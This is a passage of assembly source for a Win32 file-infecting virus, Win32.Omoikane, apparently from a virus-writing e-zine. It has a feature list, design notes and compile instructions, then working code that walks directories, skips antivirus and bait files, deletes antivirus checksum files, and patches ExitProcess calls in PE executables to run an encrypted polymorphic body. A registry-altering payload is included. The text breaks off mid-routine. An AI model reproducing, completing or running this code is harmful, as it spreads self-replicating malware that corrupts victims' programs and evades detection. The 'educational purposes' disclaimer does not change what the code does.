MalwareSourceCode/Win32/Infector/Win32.Omoikane.asm
2020-10-16 23:26:21 +02:00

2124 lines
67 KiB
NASM

COMMENT ` ---------------------------------------------------------------- )=-
-=( Natural Selection Issue #1 ---------------------------- Win32.Omoikane )=-
-=( ---------------------------------------------------------------------- )=-
-=( 0 : Win32.Omoikane Features ------------------------------------------ )=-
Imports: GetModuleHandleA and ExitProcess from host, rest are direct
from Kernel32
Infects: PE files containing GetModuleHandleA. Expands last code
section, write decryptor to code section. ExitProcess of host
patched to run decryptor, which decrypts the virus into a large
enough data section. Write bit not set on the code section.
Strategy: Does a traversal starting at the root dir on the current drive
picking random sub-directories, stopping when either there are
no more directories, or some new files were infected.
Compatibility: All tested windows versions, doesn't infect SFCs
Saves Stamps: Yes
MultiThreaded: No
Polymorphism: A small slow-polymorphic decryptor in the empty space at end of
the code segment which uses a series of randomly generated
encryption instructions, and a couple algorithms.
AntiAV / EPO: Runs on ExitProcess. Anti-bait: Does not infect goat files
(small, incorrect make-up, weird filenames, etc) or anything in
goat directories (too many exes, same sizes, etc).
SEH Abilities: None
Payload: 1/8 times, writes baka.wav into the windows directory and sets
the registry to use it as the new Critical Error sound (heard
when an application crashes).
-=( 1 : Win32.Omoikane Design Goals -------------------------------------- )=-
: Infect PE files without adding a second code section
: NOT setting the write bit on a code section
: Use Good Encryption
This virus was created to see if the above objectives were feasible. With the
advent of the PE executable and advances in the anti-virus industry, new PE
viruses are generally easy prey for AVs due to one or more of the following
reasons:
: Entry point outside the code section. Some compression engines do this too,
but any AV which this does not red-flag is crap.
: Writable Code section. Almost no clean exe has this bit set. Almost all
viruses do.... hmm... I wonder if the AV noticed this?
: Lousy Encryption. As written in Matrix#2, AVs can cut through bad
encryption methods as if they were not there.
Thus, this virus was born.
This virus, hides it's body in the last section of the host file (encrypted of
course). It writes a small, POLYMORPHIC decryptor into the slack space at the
end of the code section. It then patches the exe by looking for all "call
[ExitProcess]" or "jmp [ExitProcess]" (depending on the linker) to jump to the
decryptor. Since all calls are patched, no other infection marker is needed.
When the host finishes running and calls ExitProcess, it will jump to the
polymorphic decryptor. The decryptor then decrypts the data in the last
section of the file, and places it into a writable data section. Due to how
windows "works", data sections CAN have code in them. After the virus is done
decrypting, it jumps to the code in the data section and executes.
When the virus executes, it goes into the root directory of the current drive
and attempts to infect files. If there are no files to infect, or a bait
directory is determined (using a complex set of criteria), then a random
subdirectory is chosen, and the infection process is repeated. (You can use
"subst" to create a new drive letter and run the file on it to test it
safely.)
...And so, some 2000 lines of code later - Mission Accomplished.
-=( 2 : Win32.Omoikane Design Faults ------------------------------------- )=-
The biggest problem is the reliance on GetModuleHandleA being present in the
host file. The other large problem is the inability to go hoping from one
drive to the next.
There are various other things that, time permitting, should be improved. For
example adding more methods of encryption, and lots of optimization. But for
now...
-=( 3 : Win32.Omoikane Disclaimer ---------------------------------------- )=-
THE CONTENTS OF THIS ELECTRONIC MAGAZINE AND ITS ASSOCIATED SOURCE CODE ARE
COVERED UNDER THE BELOW TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO BE BOUND
BY THESE TERMS AND CONDITIONS, OR ARE NOT LEGALLY ENTITLED TO AGREE TO THEM,
YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY.
COPYRIGHT
Copyright on materials in this magazine and the information therein and
their arrangement is owned by FEATHERED SERPENTS unless otherwise indicated.
RIGHTS AND LIMITATIONS
You have the right to use, copy and distribute the material in this
magazine free of charge, for all purposes allowed by your governing
laws. You are expressly PROHIBITED from using the material contained
herein for any purposes that would cause or would help promote
the illegal use of the material.
NO WARRANTY
The information contained within this magazine are provided "as is".
FEATHERED SERPENTS do not warranty the accuracy, adequacy,
or completeness of given information, and expressly disclaims
liability for errors or omissions contained therein. No implied,
express, or statutory warranty, is given in conjunction with this magazine.
LIMITATION OF LIABILITY
In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for any
damages including and without limitation, direct or indirect, special,
incidental, or consequential damages, losses, or expenses arising in
connection with this magazine, or the use thereof.
ADDITIONAL DISCLAIMER
Computer viruses will spread of their own accord between computer systems, and
across international boundaries. They are raw animals with no concern for the
law, and for that reason your possession of them makes YOU responsible for the
actions they carry out.
The viruses provided in this magazine are for educational purposes ONLY. They
are NOT intended for use in ANY WAY outside of strict, controlled laboratory
conditions. If compiled and executed these viruses WILL land you in court(s).
You will be held responsible for your actions. As source code these viruses
are inert and covered by implied freedom of speech laws in some
countries. In binary form these viruses are malicious weapons. FEATHERED
SERPENTS do not condone the application of these viruses and will NOT be held
LIABLE for any MISUSE.
-=( 4 : Win32.Omoikane Compile Instructions ------------------------------ )=-
TASM32 5.0 & TLINK32 1.6.71.0
tasm32 /m /ml Omoikane.asm
tlink32 /Tpe /x Omoikane.obj, Omoikane.exe,,import32.lib
pewrsec Omoikane.exe
-=( 5 : Win32.Omoikane --------------------------------------------------- ) `
%out Assembling file implies acceptance of disclaimer inside source code
DEBUG equ 0 ; Toggle Slow/Fast Poly, etc
DEBUGENTRY equ 0 ; decryptor starts with an 'int 3'
DEBUGROOTDIR equ 0 ; 0= root dir, 1= 'goats' subdir
if DEBUG
MINCODESIZE equ 100h ; Min Raw size of host's CS
MINHOSTSIZE equ 100h
else
MINCODESIZE equ 1000h
MINHOSTSIZE equ 10000h ; bad exe if < 10000h bytes
endif
MINSLACKSPACE equ 50 ; Need at least 50 bytes at end of CS
MAXEXEPERDIR equ 30 ; over 25 exes and skip dir
MAXBADEXE equ 7 ; 7 bad exes before skipping dir
MAXSAMESIZE equ 3 ; 3 same size files = goat dir
MAXSIZEPATTERN equ 3 ; 3 exes in same size increments.
.386
.model flat, stdcall
; ************************************************************************
; Declarations
; ************************************************************************
GetModuleHandleA PROCDESC WINAPI :DWORD
OPEN_EXISTING equ 3
FILE_SHARE_WRITE equ 0002h
FILE_BEGIN equ 0
FILE_MAP_WRITE equ 2
FILE_ATTRIBUTE_NORMAL equ 00000080h
INVALID_HANDLE_VALUE equ 0FFFFFFFFh
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
MAX_PATH equ 260
CREATE_ALWAYS equ 2
PAGE_READWRITE equ 00000004h
HKEY_USERS equ 80000003h
REG_SZ equ 1
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
WIN32_FIND_DATA struct
fd_dwFileAttributes dd 0
fd_ftCreationTime dd 0, 0
fd_ftLastAccessTime dd 0, 0
fd_ftLastWriteTime dd 0, 0
fd_nFileSizeHigh dd 0
fd_nFileSizeLow dd 0
fd_dwReserved0 dd 0
fd_dwReserved1 dd 0
fd_cFileName db 260 dup(0)
fd_cAlternateFileName db 14 dup(0)
WIN32_FIND_DATA ends
FILETIME struct
ft_dwLowDateTime dd 0
ft_dwHighDateTime dd 0
FILETIME ends
; -****************-
; PE Header format
; -****************-
PEHEADER struct
ID dd ?
Machine dw ?
NumberOfSections dw ?
TimeDateStamp dd ?
PointerToSymbolTable dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader dw ?
Characteristics dw ?
; Optional Header:
MagicNumber dw ?
MajorLinkerVersion db ?
MinorLinkerVersion db ?
SizeOfCode dd ?
SizeOfInitializedData dd ?
SizeOfUninitializedData dd ?
AddressOfEntryPoint dd ?
BaseOfCode dd ?
BaseOfData dd ?
ImageBase dd ?
SectionAlignment dd ?
FileAlignment dd ?
MajorOperatingSystemVersion dw ?
MinorOperatingSystemVersion dw ?
MajorImageVersion dw ?
MinorImageVersion dw ?
MajorSubsystemVersion dw ?
MinorSubsystemVersion dw ?
Reserved1 dd ?
SizeOfImage dd ?
SizeOfHeaders dd ?
CheckSum dd ?
Subsystem dw ?
DllCharacteristics dw ?
SizeOfStackReserve dd ?
SizeOfStackCommit dd ?
SizeOfHeapReserve dd ?
SizeOfHeapCommit dd ?
LoaderFlags dd ?
NumberOfRvaAndSizes dd ?
DataDirectory dd 20 dup (?)
PEHEADER ends
; Data Directory
; --------------
DIR_EXPORT_TABLE equ 0
DIR_IMPORT_TABLE equ 1
DIR_RESOURCE_TABLE equ 2
DIR_EXCEPTION_TABLE equ 3
DIR_SECURITY_TABLE equ 4
DIR_FIXUP_TABLE equ 5
DIR_DEBUG_TABLE equ 6
DIR_IMAGE_DESCRIPTION equ 7
DIR_MACHINE_SPECIFIC_DATA equ 8
DIR_THREAD_LOCAL_STORAGE equ 9
DIR_LOAD_CONFIG equ 10
DIR_BOUND_IMPORT equ 11
DIR_IMPORT_ADDRESS_TABLE equ 12
; -*******************-
; Export Table format
; -*******************-
EXPORTHEADER struct
UnusedCharacteristics dd ?
DateTimeStamp dd ?
MajorVersion dw ?
MinorVersion dw ?
Name dd ?
Base dd ?
NumberOfFunctions dd ?
NumberOfNames dd ?
AddressOfFunctions dd ?
AddressOfNames dd ?
AddressOfNameOrdinals dd ?
EXPORTHEADER ends
; -**************************-
; Section Table Entry format
; -**************************-
SECTION struct
sec_Name db 8 dup (?)
sec_VirtualSize dd ?
sec_VirtualAddress dd ?
sec_SizeOfRawData dd ?
sec_PointerToRawData dd ?
sec_PointerToRelocations dd ?
sec_PointerToLinenumbers dd ?
sec_NumberOfRelocations dw ?
sec_NumberOfLineNumbers dw ?
sec_Characteristics dd ?
SECTION ends
; Section Characteristics flags
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC_CODE equ 00000020h
SEC_INITIALIZED_DATA equ 00000040h
SEC_UNINITIALIZED_DATA equ 00000080h
SEC_NO_CACHE equ 04000000h
SEC_NOT_PAGEABLE equ 08000000h
SEC_SHARED equ 10000000h
SEC_EXECUTABLE equ 20000000h
SEC_READ equ 40000000h
SEC_WRITE equ 80000000h
; -*******************-
; Import Table format
; -*******************-
IMPORTTABLE struct
imp_Characteristics dd ?
imp_DateTimeStamp dd ?
imp_ForwarderChain dd ?
imp_Name dd ?
imp_FirstThunk dd ?
IMPORTTABLE ends
; ************************************************************************
; Data Segment (empty)
; ************************************************************************
.data
dummy db 0
; ************************************************************************
;
; Code Segment
;
; ************************************************************************
.code
VIRUSTOTALSIZE equ offset VirusEnd - offset VirusStart
VIRUSCODESIZE equ offset VirusInitEnd - offset VirusStart
filesize equ 7045
BakaFileSize equ 8
HOST:
xor ebp, ebp
call GetModuleHandleA, offset nKernel32
jmp short SkipInFirstGeneration
VirusStart:
call Get_Delta
Get_Delta:
pop ebp
sub ebp, offset Get_Delta
lea eax, nKernel32+ebp
push eax
dw 15FFh ; Call [var containing offset GetModuleHandle]
GetModHandleAddy dd 0
SkipInFirstGeneration:
;-*********************************-
; Get other function addresses from
; the export table of Kernel32.dll
;-*********************************-
GetFunctions:
mov ebx, dword ptr [eax+3Ch] ; RVA of PE Header
mov ebx, dword ptr [ebx+eax].DataDirectory[0]
mov ecx, dword ptr [ebx+eax].NumberOfNames ; Number of Names
mov NumOfNames+ebp, ecx
xor ecx, ecx ; Currently at Name 1
mov edi, dword ptr [ebx+eax].AddressOfNames ; Address of Names
mov edx, dword ptr [ebx+eax].AddressOfFunctions ; RVAs of functions
add edx, eax
mov ebx, dword ptr [ebx+eax].AddressOfNameOrdinals ; Ordinals
add ebx, eax
FindAddress:
mov esi, dword ptr [edi+eax]
add esi, eax
push edi
lea edi, nGetProcAddr+ebp
push ecx
mov ecx, 15
repz cmpsb
pop ecx
pop edi
jz short Match
add edi, 4
inc ecx
cmp ecx, NumOfNames+ebp
jnge FindAddress
OhShitFailImport:
dw 15FFh ; Call [var containing offset ExitProcess]
EmergencyExitAddy dd 0 ; (exit value should be on stack from host)
Match:
movzx ecx, word ptr [ebx+2*ecx]
mov ecx, dword ptr [edx+4*ecx]
add ecx, eax
mov ebx, eax
mov _GetProcAddress+ebp, ecx
; GetProcAddress is now in ecx....
; Now import the rest of the needed functions
lea esi, InfFunctions+ebp
lea edi, InfDest+ebp
InfGetFuncLoop:
lodsb
movzx ecx, al
jecxz InfImpDone
push esi
add esi, ecx
call _GetProcAddress+ebp, ebx
or eax,eax
jz OhShitFailImport
stosd
jmp InfGetFuncLoop
InfImpDone:
call LoadSFC ; Load SFC Library if exists
db 'sfc.dll',0
LoadSFC:
call _LoadLibraryA+ebp
mov SFCLib+ebp, eax
or eax,eax
jz short NoSFCdll ; Probably 95 or 98
call PushSFCfunc
db 'SfcIsFileProtected',0
PushSFCfunc:
call _GetProcAddress+ebp, eax
NoSFCdll:
mov _SfcIsFileProtected+ebp, eax
lea eax, DirBuf+ebp
call _GetCurrentDirectoryA+ebp, 256, eax
lea eax, RootDir+ebp
call _SetCurrentDirectoryA+ebp, eax
lea eax, CurrentTime+ebp
call _GetSystemTimeAsFileTime+ebp, eax
ror CurrentTime.ft_dwLowDateTime+ebp, 5 ; Get rid of ending 0s
;>>>>>----------------------------------------------------------------<<<<<
; ****** Payload start here ******
; (makes baka.wav play when a program crashes)
test CurrentTime.ft_dwLowDateTime+ebp, 7 ; 1 in 8 times
jnz SearchNewDir
lea edi, buffer+ebp
call _GetWindowsDirectoryA+ebp, edi, MAX_PATH
push edi
add edi, eax
lea esi, bakafile+ebp
push 10
pop ecx
rep movsb
pop edi
mov esi, ecx
call _CreateFileA+ebp, edi, GENERIC_READ+GENERIC_WRITE, esi, esi, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, esi
or eax, eax
js ExitPayload
push eax ; Push FileHandle
call _CreateFileMappingA+ebp, eax, esi, PAGE_READWRITE, esi, filesize, esi
or eax, eax
je CloseAndExitPayload
call _MapViewOfFile+ebp, eax, FILE_MAP_WRITE, esi, esi, esi
push eax ; Push Memory Addy
xchg eax, edi
lea esi, BakaWav+ebp
mov edx, filesize
push ebp
call decode
pop ebp
call PushRegLibName ; Load the Reg* functions
db 'ADVAPI32',0
PushRegLibName:
call _LoadLibraryA+ebp
push eax
xchg eax, ebx
lea esi, RegFunctions+ebp
lea edi, RegFuncDest+ebp
call FillImports
jc short FreeLibAndExit
lea eax, RegKey+ebp
lea ecx, RegHnd+ebp
call _RegOpenKeyA+ebp, HKEY_USERS, eax, ecx
mov ebx, RegHnd+ebp
push ebx
lea eax, RegKey+ebp
lea ecx, bakafile+1+ebp
call _RegSetValueA+ebp, HKEY_USERS, eax, REG_SZ, ecx, BakaFileSize
CloseKeyAndExit:
call _RegCloseKey+ebp
FreeLibAndExit:
call _FreeLibrary+ebp
CloseAndExitPayload:
call _UnmapViewOfFile+ebp
call _CloseHandle+ebp
ExitPayload:
call _CloseHandle+ebp
; ****** Payload end here ******
SearchNewDir:
lea ecx, FileMaskAny+ebp
lea edx, FindFile+ebp
call _FindFirstFileA+ebp, ecx, edx
mov SearchHnd+ebp, eax
cmp eax, INVALID_HANDLE_VALUE
je ExitProgram
xor eax, eax
mov NumInfected+ebp, al
mov AVCRCFlag+ebp, al
mov NonExeCount+ebp, eax
mov DirCount+ebp, eax
mov ExeGoodCount+ebp, eax
mov ExeBadCount+ebp, eax
mov ExeSizesPtr+ebp, eax
ScanDirLoop:
call GetShortFileName
test FindFile.fd_dwFileAttributes+ebp, FILE_ATTRIBUTE_DIRECTORY
jnz ScanDirStats
; ************************
; Check if File is an .EXE
; ************************
mov edi, esi
mov al, 0
mov ecx, 255 ; (13 should be enough, but if long...)
repnz scasb
cmp dword ptr [edi-5], 'EXE.'
jne IncNonExeCount
; *****************************
; Check if File is not known AV
; *****************************
lea edi, AVNames+ebp ; Check if AV - load names
CheckVsAV:
movzx ecx, byte ptr [edi] ; Load length of name
inc edi ; skip past length byte
or ecx,ecx ; Is length zero?
jz short NotAVName ; Yes - passed AV check
push esi ; Save Filename
repz cmpsb ; Compare
pop esi ; Restore FileName
jz AbortDir ; Oh oh - match (skip dir)
add edi, ecx ; Goto next AV Name
jmp CheckVsAV
NotAVName:
; *******************
; Possible Goat File?
; *******************
call ExeTest
jc IncExeBadCount
inc ExeGoodCount+ebp
mov ecx, ExeSizesPtr+ebp ; Store file sizes for analyses
cmp ecx, MAXEXEPERDIR
je short GetNextScanFile
mov eax, FindFile.fd_nFileSizeLow+ebp
mov [offset ExeSizes + 4*ecx + ebp], eax
inc ExeSizesPtr+ebp
GetNextScanFile:
lea ecx, FindFile+ebp
call _FindNextFileA+ebp, SearchHnd+ebp, ecx
or eax, eax
jnz ScanDirLoop
call _FindClose+ebp, SearchHnd+ebp
; Check if probable goat directory
mov eax, ExeGoodCount+ebp
mov ebx, ExeBadCount+ebp
mov ecx, NonExeCount+ebp
cmp eax, 0
je GotoNextDir
cmp ebx, MAXBADEXE ; Too many possible goats?
ja GotoNextDir
cmp eax, ebx ; More bad EXEs than goods?
jb GotoNextDir
add ebx, eax ; Too Many EXEs?
cmp ebx, MAXEXEPERDIR
ja GotoNextDir
cmp ebx, ecx ; Too high a ratio of EXEs?
ja GotoNextDir
cmp eax, MAXSAMESIZE
jbe short FindExes
mov ecx, ExeSizesPtr+ebp ; Bubble Sort Exe Sizes
dec ecx
lea edi, ExeSizes+ebp
xor ebx, ebx
BubbleLoop1:
lea edx, [ebx+1]
BubbleLoop2:
mov eax, [edi + 4*ebx]
cmp eax, [edi + 4*edx]
jbe short BubbleNoSwap
xchg [edi + 4*edx], eax
mov [edi + 4*ebx], eax
BubbleNoSwap:
inc edx
cmp edx, ecx
jbe BubbleLoop2
inc ebx
cmp ebx, ecx
jb BubbleLoop1
xor ebx, ebx ; Num of same increments
xor edx, edx ; Num of files with same size as another
xor esi, esi ; Size of last increment (init to -1)
dec esi
ExeSizeLoop:
mov eax, [edi+4*ecx]
sub eax, [edi+4*ecx-4]
jnz short ExesNotSameSize
inc edx
cmp edx, MAXSAMESIZE-1
jae GotoNextDir
jmp short NoSizePattern
ExesNotSameSize:
xor edx, edx
xchg eax, esi
cmp eax, esi
jne short NoSizePattern
inc ebx
NoSizePattern:
loop ExeSizeLoop
cmp ebx, MAXSIZEPATTERN
jae GotoNextDir
FindExes:
lea ecx, FileMaskExe+ebp
lea edx, FindFile+ebp
call _FindFirstFileA+ebp, ecx, edx
mov SearchHnd+ebp, eax
FindExeLoop:
call GetShortFileName
call ExeTest
jc short FindNextExe
lea eax, FindFile.fd_cFileName+ebp
call _SetFileAttributesA+ebp, eax, FILE_ATTRIBUTE_NORMAL
or eax, eax ; Set Attributes OK?
je short FindNextExe ; No- oh oh. Network?
push CurrentTime.ft_dwHighDateTime+ebp ; Save seed (rand slow)
shr CurrentTime.ft_dwHighDateTime+ebp, 12 ; Divide by 40 days
call InfectTheFileAlready ; About time, huh?
pop CurrentTime.ft_dwHighDateTime+ebp ; restore seed
lea eax, FindFile.fd_cFileName+ebp
call _SetFileAttributesA+ebp, eax, FindFile.fd_dwFileAttributes+ebp
FindNextExe:
lea ecx, FindFile+ebp
call _FindNextFileA+ebp, SearchHnd+ebp, ecx
or eax, eax
jnz FindExeLoop
AbortDir:
call _FindClose+ebp, SearchHnd+ebp
cmp NumInfected+ebp, 0 ; Exit if done infection
jne RemoveCRCsAndExit
GotoNextDir:
mov ecx, DirCount+ebp ; Exit if no more dirs
or ecx, ecx
jz ExitProgram
call randomfast
xor edx, edx
div ecx
inc edx
mov DirCount+ebp, edx
lea ecx, FileMaskAny+ebp
lea edx, FindFile+ebp
call _FindFirstFileA+ebp, ecx, edx
xchg eax, ebx
ChangeDirLoop:
test FindFile.fd_dwFileAttributes+ebp, FILE_ATTRIBUTE_DIRECTORY
jz short FindDir
cmp byte ptr FindFile.fd_cFileName+ebp, '.'
je short FindDir
dec DirCount+ebp
jz short ChangeToDir
FindDir:
lea ecx, FindFile+ebp
call _FindNextFileA+ebp, ebx, ecx
jmp short ChangeDirLoop
ChangeToDir:
call _FindClose+ebp, ebx
lea ecx, FindFile.fd_cFileName+ebp
call _SetCurrentDirectoryA+ebp, ecx
jmp SearchNewDir
IncExeBadCount:
inc ExeBadCount+ebp
jmp GetNextScanFile
ScanDirStats:
cmp byte ptr [esi], '.'
je GetNextScanFile
inc DirCount+ebp
jmp GetNextScanFile
IncNonExeCount:
lea edi, CRCNames+ebp
xor edx, edx
inc edx
CRCNameLoop:
movzx ecx, byte ptr [edi]
inc edi
or ecx, ecx
jz short CRCNamePass
push esi
repz cmpsb
pop esi
jz short CRCNameFail
add edi, ecx
shl edx, 1
jmp CRCNameLoop
CRCNameFail:
or AVCRCFlag+ebp, dl
jmp short ExitIncNonExeCount
CRCNamePass:
inc NonExeCount+ebp
ExitIncNonExeCount:
jmp GetNextScanFile
; Remove any AV CRCs....
RemoveCRCsAndExit:
lea edi, CRCNames+ebp
xor esi, esi
inc esi
RemoveAVCRCs:
movzx ebx, byte ptr [edi]
or ebx, ebx
jz short ExitProgram
inc edi
test dword ptr AVCRCFlag+ebp, esi
jnz short DeleteAVCRC
NextCRCRemove:
shl esi, 1
add edi, ebx
jmp RemoveAVCRCs
DeleteAVCRC:
call _SetFileAttributesA+ebp, edi, FILE_ATTRIBUTE_NORMAL
call _DeleteFileA+ebp, edi
jmp NextCRCRemove
ExitProgram:
mov ecx, SFCLib+ebp ; Free SFC lib if loaded
jecxz NoSFCFreeLib
call _FreeLibrary+ebp, ecx
NoSFCFreeLib:
lea eax, DirBuf+ebp
call _SetCurrentDirectoryA+ebp, eax
call _ExitProcess+ebp, 0
; ********************************
; esi=short filename from FindFile
; ********************************
GetShortFileName:
lea esi, FindFile.fd_cAlternateFileName+ebp
cmp byte ptr [esi], 0 ; Sometimes unused - check
jne short GotShortFileName
lea esi, FindFile.fd_cFileName+ebp ; put filename in ds:esi
GotShortFileName:
ret
; ******************************
;
; TEST EXE FILE FOR GOAT
;
; ******************************
ExeTest:
; ******************************
; Check if File is not too small
; ******************************
CheckFileSize:
cmp dword ptr FindFile.fd_nFileSizeLow+ebp, MINHOSTSIZE
jb short ExeTestBad ; File too small?
; ****************************
; Check if File is not too new
; ****************************
CheckFileTime:
mov eax, CurrentTime.ft_dwHighDateTime+ebp
sub eax, 1000h
cmp eax, FindFile.fd_ftLastWriteTime.ft_dwHighDateTime+ebp
jb short ExeTestBad
; ********************************
; Check if File contains long runs
; of letters or contains numbers.
; ********************************
mov edi, esi
mov byte ptr LetterCount+ebp, 0 ; Currently run of 0 same chars
mov byte ptr LastLetter+ebp, 0 ; Reset last letter
lea esi, FindFile.fd_cFileName+ebp ; put long filename in ds:esi
letterloop:
lodsb ; load letter
or al,al ; End of filename? Yes - exit.
jz short DoneRunCheck
cmp al, '0' ; Check if it has file has
jb short NextCheck ; numbers in it. If so, skip.
cmp al, '2'
jb short ExeTestBad
cmp al, '4'
jb short NextCheck
cmp al, '9'
jbe short ExeTestBad
NextCheck:
xor bl,bl ; Zero Letter Run counter
cmp LastLetter+ebp, al ; Is same as last letter?
jne short DoneCheck ; Yes - it's ok.
mov bl, LetterCount+ebp ; No? # of letters repeated
inc bx ; increment LetterCount
cmp bl, 2 ; Is this he third same letter?
jae short ExeTestBad ; Yes - fail. Look elsewhere
DoneCheck:
mov LastLetter+ebp, al ; Save last letter
mov LetterCount+ebp, bl ; Save Run count
jmp short letterloop ; Get next letter
DoneRunCheck:
clc
ret
ExeTestBad:
stc
ret
;>>>>>----------------------------------------------------------------<<<<<
;**********************
InfectTheFileAlready:
lea ebx, FindFile.fd_cFileName+ebp
xor edi, edi
mov ecx, _SfcIsFileProtected+ebp ; Is SFC protected?
jecxz NotSFCProtected
call ecx, edi, ebx ; call function if present
or eax, eax
jnz ExitInfector
NotSFCProtected:
call _CreateFileA+ebp, ebx, GENERIC_READ+GENERIC_WRITE, FILE_SHARE_WRITE, edi, OPEN_EXISTING, edi, edi
or eax, eax
js ExitInfector
push eax ; Push FileHandle
call _CreateFileMappingA+ebp, eax, edi, PAGE_READWRITE, edi, edi, edi
or eax, eax
je CloseAndExitInfector
push eax
xchg eax, esi
call _MapViewOfFile+ebp, esi, FILE_MAP_WRITE, edi, edi, edi
push eax ; Push Memory Addy
mov esi, eax
cmp word ptr [eax], 'ZM' ; Is it an EXE?
jne short InfectableNo
cmp word ptr [eax+18h], 40h ; A windows EXE?
jb short InfectableNo
movzx ecx, word ptr [eax+3Ch]
add eax, ecx
cmp dword ptr [eax], 'EP' ; A PE Exe?
jne short InfectableNo
cmp word ptr [eax].Machine, 14Ch ; Is at least 386+ ?
jb short InfectableNo
cmp word ptr [eax].Machine, 160h ; Is not R3000, etc.?
jae short InfectableNo
cmp word ptr [eax].Subsystem, 2 ; Is Windows file?
jb short InfectableNo ; 2=Windows
cmp word ptr [eax].Subsystem, 3 ; 3=Console (win)
jbe short IsInfectable
InfectableNo:
jmp UnmapAndClose
IsInfectable:
; First locate imports:
xchg eax, edi
mov eax, dword ptr [edi].DataDirectory+8
; Section Table:
call RVA2Addr
ImportLoop:
cmp [eax].imp_Characteristics, 0
je InfectableNo ; No Kernel Import?!?
xchg eax, edx
mov eax, [edx].imp_Name
call RVA2Addr
cmp dword ptr [eax], 'NREK'
jne short TryNextImport
cmp dword ptr [eax+4], '23LE'
je short FoundKernel
TryNextImport:
lea eax, [edx + size IMPORTTABLE]
jmp ImportLoop
FoundKernel: ; Now find "ExitProcess & GetModuleHandle"
mov eax, [edx].imp_Characteristics
or eax,eax
jne short HNAExists
mov eax, [edx].imp_FirstThunk
HNAExists:
call RVA2Addr
mov ebx, eax
mov edi, [edx].imp_FirstThunk
xor edx,edx ; Import Flags= 0 - nothing yet
FindImportFunction:
mov eax, [ebx]
or eax,eax
je short DoneImports ; No more imports
js short NotGetModuleHandle ; Some psycho is loading by ordinal
call RVA2Addr
inc eax
inc eax
xchg eax, edi
test dl, 1 ; Found ExitProcess Already?
jnz short NotExitProcess
mov ecx, 12
push esi
push edi
lea esi, nExitProcess+ebp
repz cmpsb
pop edi
pop esi
jne short NotExitProcess
or dl, 1 ; Mark as found
mov ExitProcessRVA+ebp, eax ; Save RVA
NotExitProcess:
test dl, 2 ; Found GetMoguleHandle Already?
jnz short NotGetModuleHandle
mov ecx, 17
push esi
push edi
lea esi, nGetModuleHandle+ebp
rep cmpsb
pop edi
pop esi
jne short NotGetModuleHandle
or dl, 2
mov GetModuleHandleRVA+ebp, eax
NotGetModuleHandle:
xchg eax, edi
add ebx, 4 ; Next Function Name
add edi, 4 ; Get Next Function RVA
jmp FindImportFunction
DoneImports:
cmp dl, 3 ; Found both functions?
jne InfectableNo
movzx ebx, word ptr [esi+3Ch]
add ebx, esi
mov edi, ebx ; edi= PE Header offset
movzx ecx, [ebx].NumberOfSections
movzx edx, word ptr [ebx].SizeOfOptionalHeader
lea edx, [ebx+edx+18h]
; Get Last Section
push ecx
push edx
mov eax, [edx].sec_PointerToRawData
mov ebx, edx
LastSectionLoop:
cmp eax, [edx].sec_PointerToRawData
jae short NotLastSection
mov eax, [edx].sec_PointerToRawData
mov ebx, edx
NotLastSection:
add edx, size SECTION
loop LastSectionLoop
mov LastSectionEntryPtr+ebp, ebx
pop edx
pop ecx
; Get Biggest Writable Data Section
push ecx
push edx
xor eax, eax ; Largest section found so far
DataSectionLoop:
test byte ptr [edx].sec_Characteristics+3, 80h ; Writable section?
jz short NextDataSec
cmp eax, [edx].sec_VirtualSize
jae short NextDataSec
mov eax, [edx].sec_VirtualSize
mov ebx, edx
NextDataSec:
add edx, size SECTION
loop DataSectionLoop
pop edx
pop ecx
mov DataSectionEntryPtr+ebp, ebx
cmp eax, VIRUSTOTALSIZE
jnb short DataSectionSizePass
; ***************
; If Data Size is just a little too small, then bump it up
; ***************
mov ebx, [edi].SectionAlignment
dec ebx
add eax, ebx
not ebx
and eax, ebx
cmp eax, VIRUSTOTALSIZE
jb InfectableNo
DataSectionSizePass:
mov NewVirtualSizeOfData+ebp, eax
; Find Code Section
xor ebx, ebx
FindCodeSection:
test [edx].sec_Characteristics, SEC_CODE+SEC_EXECUTABLE
jz short NotACodeSection
test byte ptr [edx].sec_Characteristics+3, 80h ; Writable CS?
jnz InfectableNo
or ebx,ebx
jnz InfectableNo
mov ebx, edx
NotACodeSection:
add edx, size SECTION
loop FindCodeSection
;* Find amount of space at the end of the of the code section.
mov edx, [ebx].sec_PointerToRawData
add edx, esi
cmp [ebx].sec_SizeOfRawData, MINCODESIZE
jb InfectableNo
; Figure out the real code size
xor ecx,ecx
mov FoundExitCall+ebp, ecx
mov ecx, [edi].FileAlignment
dec ecx
test [ebx].sec_VirtualSize, ecx
jz short ProbablyTLINK
; Assuming LINK - i.e. Virtual Size gives exact size of CS (not aligned).
mov eax, [ebx].sec_VirtualSize
add edx, eax
push eax
and eax, ecx
inc ecx
sub ecx, eax
pop eax
add eax, [ebx].sec_PointerToRawData
cmp ecx, MINSLACKSPACE
jb InfectableNo
; Now:
; - RVA -done (eax)
; - RawAddy -done (edx)
; - SizeOfSpace -done (ecx)
mov EmptyCodeSecRVA+ebp, eax
mov EmptyCodeSecAddr+ebp, edx
mov EmptyCodeSecSize+ebp, ecx
; Now we search .text for either:
; - EE 15 (call [address])
; - FF 25 (jmp [address])
mov ecx, [ebx].sec_SizeOfRawData
sub ecx, 5 ; (no need to check last 5 bytes)
push esi
mov eax, [ebx].sec_PointerToRawData
add eax, esi
xchg eax, esi
xor edx, edx ; Loop counter
LinkFindJump:
cmp word ptr [esi+edx], 15FFh
jne short LinkJumpNotFound
mov eax, dword ptr [esi+edx+2]
sub eax, [edi].ImageBase
cmp eax, ExitProcessRVA+ebp
jne short LinkJumpNotFound
mov eax, EmptyCodeSecRVA+ebp
sub eax, edx
sub eax, [ebx].sec_VirtualAddress
sub eax, 5
mov byte ptr [esi+edx], 0E9h ; Write in jump to our code ;-)
mov dword ptr [esi+edx+1], eax
inc FoundExitCall+ebp
LinkJumpNotFound:
inc edx
cmp edx, ecx
jb LinkFindJump
pop esi
jmp HaveCSInfo
ProbablyTLINK:
add edx, [ebx].sec_SizeOfRawData
inc ecx
ScanSpaceBackWard:
dec edx
cmp byte ptr [edx], 0
jne short FoundActualCode
loop ScanSpaceBackWard
